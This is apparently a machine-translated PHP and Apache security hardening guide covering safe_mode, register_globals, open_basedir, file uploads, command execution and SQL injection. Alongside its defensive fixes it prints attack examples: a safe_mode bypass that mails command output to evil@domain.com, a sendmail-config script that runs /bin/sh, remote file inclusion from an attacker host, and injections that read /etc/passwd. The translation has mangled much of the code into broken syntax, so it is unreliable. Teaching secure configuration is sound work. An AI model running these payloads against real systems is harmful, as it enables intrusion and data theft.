I. Web Server Security
PHP is actually a module function of the Web server. Therefore, you must first ensure the security of the Web server. Of course, to ensure the security of Web servers, you must first ensure the system security. This is a long way to go and is endless. PHP can be combined with various Web servers. Here we only discuss Apache. We strongly recommend that you install and start Apache in the form of chroot. In this way, even if Apache, PHP, and their scripts are prone to vulnerabilities, only the banned system will be affected and the actual system will not be harmed. However, the use of chroot Apache may cause some problems for the application. For example, when connecting to mysql, you must use the 127.0.0.1 address to use tcp connection instead of localhost to implement socket connection, this is slightly less efficient. The mail function is also a problem because of the following in php. ini:
[Mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
Sendmail_from = me@localhost.com
All are for the Win32 platform, so you need to adjust sendmail in the chroot environment.
Ii. PHP Problems
1. Remote Overflow
All versions below PHP-4.1.2 have the remote buffer overflow vulnerability of file upload, and the attack program has been widely spread, the success rate is very high.
2. Remote Denial of Service
PHP-4.2.0 and PHP-4.2.1 have remote vulnerability in PHP multipart/form-data POST request processing, which can cause denial of service even though local user permissions are not available.
3. safe_mode Bypass Vulnerability
There is also a PHP mail function bypass safe_mode restriction command execution vulnerability in the PHP-4.2.2 versions below to the PHP-4.0.5 version, 4.0.5 versions start mail function added the fifth parameter, because the designer considers that he can break through the safe_mode restriction to execute commands within weeks. 4.0.5 breakthrough is very simple. You only need to use semicolons to separate and add shell commands. For example, the PHP script edevil. php exists:
Run the following URL:
Http://foo.com/evil.php? Bar =;/usr/bin/id mail evil@domain.com
This sends the result of id execution to the evil@domain.com.
For PHP from 4.0.6 to 4.2.2, breaking the safe_mode restriction actually uses the-C parameter of sendmail, so the system must use sendmail. The following code breaks through the safe_mode restriction and executes the command:
# Note: The following two must not exist,
Or their owner is the same as the owner of the script.
$ Script = "/tmp/script123 ";
$ Cf = "/tmp/cf123 ";
$ Fd = fopen ($ cf, "w ");
Fwrite ($ fd, "OQ/tmp
Sparse = 0
R$ * ". chr (9)." $ # local $ @ $1 $: $1
Mlocal, P =/bin/sh, A = sh $ script ");
Fclose ($ fd );
$ Fd = fopen ($ script, "w ");
Fwrite ($ fd, "rm-f $ script $ cf ;");
Fwrite ($ fd, $ cmd );
Fclose ($ fd );
Mail ("nobody", "", "-C $ cf ");
?>
If you are still using the above problematic PHP version, you must upgrade it to the latest version in time to eliminate basic security issues.
Iii. Security Configuration of PHP itself
PHP configuration is very flexible, you can use php. ini, httpd. conf ,. htaccess file (AllowOverride All or Options must be set in this directory), you can also use ini_set () and its specific functions in the script program to set. You can use the phpinfo () and get_cfg_var () functions to obtain the values of the configuration options.
If the configuration options are the only PHP_INI_SYSTEM attribute, they must be modified through php. ini and httpd. conf. They modify the Master values of PHP, but after the modification, apache must be restarted to take effect. The options set in php. ini take effect for all scripts on the Web server, and the options set in httpd. conf take effect for all scripts under the defined directory.
If there are other options for the PHP_INI_USER, PHP_INI_PERDIR, and PHP_INI_ALL attributes, you can use them. you can also set the htaccess file by using the ini_set () function in the script program itself. They modify the Local value and take effect immediately after the change. However,. htaccess only takes effect for the script program in the current directory. The ini_set () function only takes effect for the code after the ini_set () function is set for the script program. The options of different versions may have different attributes. You can use the following command to find all the options in the main. c file of the current source code and their attributes:
# Grep PHP_INI _/PHP_SRC/main. c
Before discussing PHP security configuration, you should have a good understanding of the safe_mode mode of PHP.
1. safe_mode
Safe_mode is the unique PHP_INI_SYSTEM attribute and must be set through php. ini or httpd. conf. To enable safe_mode, you only need to modify php. ini:
Safe_mode = On
Or modify httpd. conf to define the directory:
Options FollowSymLinks
Php_admin_value safe_mode 1
After apache is restarted, The safe_mode takes effect. When safe_mode is started, many PHP functions are restricted, especially system-related functions such as file opening and command execution.
Functions of all operation files can only operate files with the same UID as the script. For example, the content of the test. php script is:
The attributes of several files are as follows:
# Ls-la
Total 13
Drwxr-xr-x 2 root 104 Jul 20 0:25.
Drwxr-xr-x 16 root 384 Jul 18 :02 ..
-Rw-r -- 1 root 4110 Oct 26 2002 index.html
-Rw-r -- 1 www-data 41 Jul 19 :14 test. php
When you request test. php In the browser, the following error message is displayed:
Warning: safe mode Restriction in effect. the script whose uid/gid is 33/33 is not allowed to access. /index.html owned by uid/gid 0/0 in/var/www/test. php on line 1
If the UID in the directory where the operated file is located is the same as the script UID, the UID of the file can be accessed even if it is different from the script. I wonder whether this is a PHP vulnerability or not. Therefore, the php script owner is recommended for this purpose only. It is absolutely forbidden to use root as the owner of the php script, so that the effect of safe_mode is not achieved.
If you want to extend it to GID comparison, you can enable safe_mode_gid to compare only the GID of the file. You can set the following options:
Safe_mode_gid = On
After safe_mode is set, all functions executed by commands will be restricted to only php. in ini, safe_mode_exec_dir specifies the program in the directory, and the command execution methods like shell_exec and 'LS-l' are forbidden. If you really need to call other programs, you can make the following settings in php. ini:
Safe_mode_exec_dir =/usr/local/php/exec
Then copy the program to this directory. Then, the php script can use functions such as system to execute the program. In addition, shell scripts in this directory can still call system commands in other directories.
Safe_mode_include_dir string
When this directory and Its subdirectories (the directory must be included in include_path or in the full path) contain files, the UID/GID check is performed.
Starting from PHP 4.2.0, this command can accept a path separated by semicolons in a similar style as the include_path command, not just a directory.
The specified limit is actually a prefix rather than a directory name. This means that "safe_mode_include_dir =/dir/incl" will allow access to "/dir/include" and "/dir/incls" if they exist. If you want to control access to a specified directory, add a slash to the end, for example, "safe_mode_include_dir =/dir/incl /".
Safe_mode_allowed_env_vars string
Setting certain environment variables may be a potential security gap. This command contains a comma-separated prefix list. In security mode, you can only change the environment variables whose names have the prefix provided here. By default, you can only set environment variables starting with PHP _ (for example, PHP_FOO = BAR ).
Note: If this command is empty, PHP allows you to modify any environment variables!
Safe_mode_protected_env_vars string
This command contains a comma-separated list of environment variables. End users cannot use putenv () to change these environment variables. These variables cannot be changed even when safe_mode_allowed_env_vars is set to allow modification.
Although safe_mode is not omnipotent (earlier versions of PHP can bypass), it is strongly recommended to enable the security mode to avoid unknown attacks to some extent. However, enabling safe_mode has many restrictions, which may affect the application. Therefore, you must adjust the code and configuration to ensure harmony. For functions restricted or blocked by the security mode, refer to the PHP manual.
After discussing safe_mode, we will discuss how to avoid the vulnerability by configuring the PHP server based on the actual problems that may occur in the program code.
2. Variable misuse
By default, PHP register_globals = On. For GET, POST, Cookie, Environment, and Session variables, you can directly register them as global variables. Their registration order is variables_order = "EGPCS" (which can be modified through php. ini). the right side of the variable variables_order with the same name overwrites the left side. Therefore, misuse of variables can easily cause program confusion. In addition, script programmers often do not have the habit of initializing variables, and the following program fragments are vulnerable to attacks:
// Test_1.php
If ($ pass = "hello ")
$ Auth = 1;
If ($ auth = 1)
Echo "some important information ";
Else
Echo "nothing ";
?>
Attackers can bypass the check with the following request:
Http: // victim/test_1.php? Auth = 1
Although this is a very mentally retarded error, but some famous programs have also made this mistake, such as phpnuke remote file copy vulnerability: http://www.securityfocus.com/bid/3361
We recommend that you disable register_globals when the PHP-4.1.0 is released and provide 7 Special array variables to use various variables. Variables such as GET, POST, and COOKIE are not directly registered as variables and must be accessed through array variables. When the PHP-4.2.0 is released, the default php. ini configuration is register_globals = Off. This allows the program to use the default value of PHP initialization, which is generally 0, which avoids attackers from controlling the judgment variables.
Solution:
Set register_globals = Off in the configuration file php. ini.
The programmer is required to initialize a value for the variable used as the judgment variable at the beginning of the program.
3. open the file
Vulnerable code snippets:
// Test_2.php
If (! ($ Str = readfile ("$ filename "))){
Echo ("cocould not open file: $ filename
\ N ");
Exit;
}
Else {
Echo $ str;
}
?>
Because attackers can specify arbitrary $ filename, they can use the following request to view/etc/passwd:
Http: // victim/test_2.php? Filename =/etc/passwd
The following request can read the PHP file itself:
Http: // victim/test_2.php? Filename = test_2.php
In PHP, file opening functions include fopen () and file (). If you do not strictly check the file name variables, important files on the server will be accessed and read.
Solution:
If not, restrict php file operations to the web directory. The following is an example of modifying the apache configuration file httpd. conf:
Php_admin_value open_basedir/usr/local/apache/htdocs
After apache is restarted, the PHP script under the/usr/local/apache/htdocs directory can only operate on the files in its own directory. Otherwise, PHP will report an error:
Warning: open_basedir restriction in effect.
File is in wrong directory in xxx on line xx.
This problem can also be avoided by using the safe_mode mode, which has been discussed earlier.
4. Include files
Vulnerable code snippets:
// Test_3.php
If (file_exists ($ filename ))
Include ("$ filename ");
?>
This irresponsible code can cause considerable harm. Attackers can use the following request to obtain the/etc/passwd file:
Http: // victim/test_3.php? Filename =/etc/passwd
If a Unix version of PHP (Windows version of PHP does not support remote file opening), attackers can create a file containing shell commands on an http or ftp server, for example, if the content of http: // attack/attack.txt is:
Http: // victim/test_3.php? Filename = http: // attack/attack.txt
Attackers can even obtain the code for executing commands by using the apache log File access. log and error. log. However, it is sometimes difficult to succeed due to too much interference information.
For another form, the following code snippet:
// Test_4.php
Include ("$ lib/config. php ");
?>
Attackers can create a config. php file on their host that contains the code for executing the command, and then execute the command on the target host using the following request:
Http: // victim/test_4.php? Lib = http: // attack
PHP's include functions include (), include_once (), require (), and require_once. If you do not strictly check the variables that contain file names, the system may be in serious danger. You can remotely execute the command.
Solution:
Programmers are required to avoid using variables for parameters in files. If variables are used, they must strictly check the names of the files to be included.
For example, it is necessary to restrict the PHP operation path in the preceding file. In addition, you must disable the PHP Remote File opening function unless otherwise required. Modify the php. ini file:
Allow_url_fopen = Off
Restart apache.
5. File Upload
The file upload mechanism of php stores user-uploaded files in php. the temporary directory defined by upload_tmp_dir of ini (the default is the temporary directory of the system, for example,/tmp) is a random temporary file similar to phpxXuoXG, and the program execution ends, the temporary file is also deleted. PHP defines four variables for the uploaded file: (for example, the form variable name is file and register_globals is enabled)
$ File # is a temporary file saved to the server (for example,/tmp/phpxXuoXG)
$ File_size # size of the uploaded file
$ File_name # Original Name of the uploaded file
$ File_type # File Upload type
Recommended:
$ HTTP_POST_FILES ['file'] ['tmp _ name']
$ HTTP_POST_FILES ['file'] ['SIZE']
$ HTTP_POST_FILES ['file'] ['name']
$ HTTP_POST_FILES ['file'] ['type']
This is the simplest file upload code:
// Test_5.php
If (isset ($ upload) & $ file! = "None "){
Copy ($ file, "/usr/local/apache/htdocs/upload/". $ file_name );
Echo "File". $ file_name. "uploaded successfully! Click continue upload ";
Exit;
}
?>
Content = "text/html; charset = gb2312">
Upload files:
This upload code has a major problem of reading arbitrary files and executing commands.
The following request can copy the/etc/passwd file to the/usr/local/apache/htdocs/test directory (Note: This directory contains nobodywhich can be written into the attack.txt file below:
Http: // victim/test_5.php? Upload =... ile_name1_attack.txt
Then, you can use the following request to read the password file:
Http: // victim/test/attack.txt
Attackers can copy PHP files to other extensions to leak the script source code.
Attackers can customize the value of the file_name variable in the form to upload any file with write permission.
Attackers can also upload PHP scripts to execute host commands.
Solution:
The is_uploaded_file and move_uploaded_file functions are provided after the PHP-4.0.3 to check whether the operated file is a user-uploaded file and avoid copying the system file to the web directory.
Use the $ HTTP_POST_FILES array to read the file variables uploaded by the user.
Strictly check the uploaded variables. For example, php script files are not allowed.
Limiting PHP script operations to web directories can prevent programmers from using the copy function to copy system files to web directories. Move_uploaded_file is not restricted by open_basedir, so you do not need to modify the upload_tmp_dir value in php. ini.
Use phpencode to encrypt the PHP script to avoid leaking the source code due to the copy operation.
Strictly configure the file and directory permissions. Only the uploaded directory is allowed to be writable by the nobody user.
You can modify httpd. conf to remove the PHP explanation function from the upload directory:
Php_flag engine off
# Replace php3 with php3_engine off
Restart apache. The php file in the upload directory cannot be explained by apache. Even if the PHP file is uploaded, the source code can only be displayed.
6. Command Execution
The following code snippet is extracted from PHPNetToolpack. For details, see:
Http://www.securityfocus.com/bid/4303
// Test_6.php
System ("traceroute $ a_query", $ ret_strs );
?>
Because the program does not filter $ a_query variables, attackers can use semicolons to append and execute commands.
The attacker can run the cat/etc/passwd command in the following request:
Http: // victim/test_6.php? A_query = www.example.com; cat/etc/passwd
PHP Command Execution functions include system (), passthru (), popen (), and. It is very dangerous to execute a function by using commands with caution. If you want to use it, you must strictly check the user input.
Solution:
Programmers are required to use the escapeshellcmd () function to filter shell commands entered by users.
Enabling safe_mode can eliminate a lot of command execution problems, but pay attention to the PHP version must be the latest, less than the PHP-4.2.2 may bypass the safe_mode limit to execute the command.
7. SQL _inject
If the following SQL statement does not process the variable, the problem will occur:
Select * from login where user = '$ user' and pass =' $ pass'
Attackers can enter either 1 'or 1 = '1 for both user names and passwords to bypass verification.
Fortunately, PHP has a default option magic_quotes_gpc = On, which automatically adds the addslashes () operation to variables from GET, POST, and COOKIE. The preceding SQL statement is changed:
Select * from login where user = '1 \ 'or
1 = \ '1' and pass = '1 \ 'or 1 = \ '1'
This prevents such SQL _inject attacks.
For numeric fields, many programmers write as follows:
Select * from test where id = $ id
Because the variables are not expanded with single quotes, SQL _inject attacks will occur. Thanks to the simple functions of MySQL, there are no SQL statements for SQL Server and other databases to execute commands, and the mysql_query () function of PHP can only execute one SQL statement, therefore, the use of semicolons to separate multiple SQL statements does not work. However, attackers can at least make query statements wrong, leak system information, or unexpected situations.
Solution:
Programmers are required to filter the variables submitted by all users to be placed in SQL statements.
Even for numeric fields, variables must be expanded in single quotes. MySQL will process the strings as numbers.
In MySQL, users with high-level permissions of PHP programs are not allowed to operate only their own libraries. This also avoids such attacks by selecting into outfile.
8. Warnings and error messages
By default, PHP displays all warnings and error messages:
Error_reporting = E_ALL &~ E_NOTICE
Display_errors = On
This is very useful during development and debugging. You can immediately find the program error based on the warning information.
During the formal application, warnings and error messages make users feel overwhelmed. In addition, they leak the physical path of the script to attackers and provide favorable information for further attacks. In addition, because you have not accessed the wrong place, you cannot modify the program errors in time. Therefore, it is wise to record all the warning and error information of PHP to a log file, that is, not to expose the physical path to attackers, but to let them know the location of program errors.
Modify Error handling and logging in php. ini:
Error_reporting = E_ALL
Display_errors = Off
Log_errors = On
Error_log =/usr/local/apache/logs/php_error.log
Restart apache. Note that the file/usr/local/apache/logs/php_error.log must be writable by the nobody user.
9. disable_functions
If you think there are threats to some functions, you can set disable_functions in php. ini (this option cannot be set in httpd. conf), for example:
Disable_functions = phpinfo, get_assist_var
You can specify multiple functions separated by commas. After apache is restarted, phpinfo and get_cfg_var functions are disabled. We recommend that you disable the phpinfo and get_cfg_var functions. These two functions are easy to leak server information and are of no practical use.
10. disable_classes
This option is available only from the PHP-4.3.2 and can disable some classes if multiple class names are separated by commas. Disable_classes cannot be set in httpd. conf, but can only be modified in the php. ini configuration file.
11. open_basedir
The preceding analysis routine also mentioned multiple times that open_basedir is used to restrict the script operation path. Here we will introduce its features. The restriction specified by open_basedir is actually a prefix, not a directory name. That is to say, "open_basedir =/dir/incl" will also allow access to "/dir/include" and "/dir/incls", if they exist. If you want to restrict access to a specified directory only, end the path with a slash. For example, "open_basedir =/dir/incl /".
You can set multiple directories. In Windows, separate directories with semicolons. Use colons to separate directories in any other system. As an Apache module, the open_basedir path in the parent directory is automatically inherited.
IV. Other security configurations
1. Cancel the read and write permissions of other users for common and important system commands.
Generally, administrators only need one common user and management user. The fewer the two users, the better, therefore, canceling the read and write permissions of other users on common and important system commands can cause great confusion to attackers when vulnerabilities occur in programs or services. Remember to remove the read-only permission, otherwise you can use/lib/ld-linux.so.2/bin/ls in linux.
If you want to cancel a job in the chroot environment, this job is easy to implement. Otherwise, this job still has some challenges. Canceling the execution permission of some programs will cause some services to run abnormally. The mail function of PHP requires/bin/sh to call sendmail to send mail, so the execution permission of/bin/bash cannot be removed. This is a very tiring job,
2. Remove the read permission of other apache log users.
Apache access-log provides a convenient way for some programs with local vulnerabilities. By submitting a URL containing PHP code, you can make access-log contain PHP code. By directing the contained file to access-log, you can execute the PHP code to obtain local access permissions.
If there are other virtual hosts, you should also remove the read permission of other users of the log file.
Of course, if you configure PHP as described earlier, the log file cannot be read.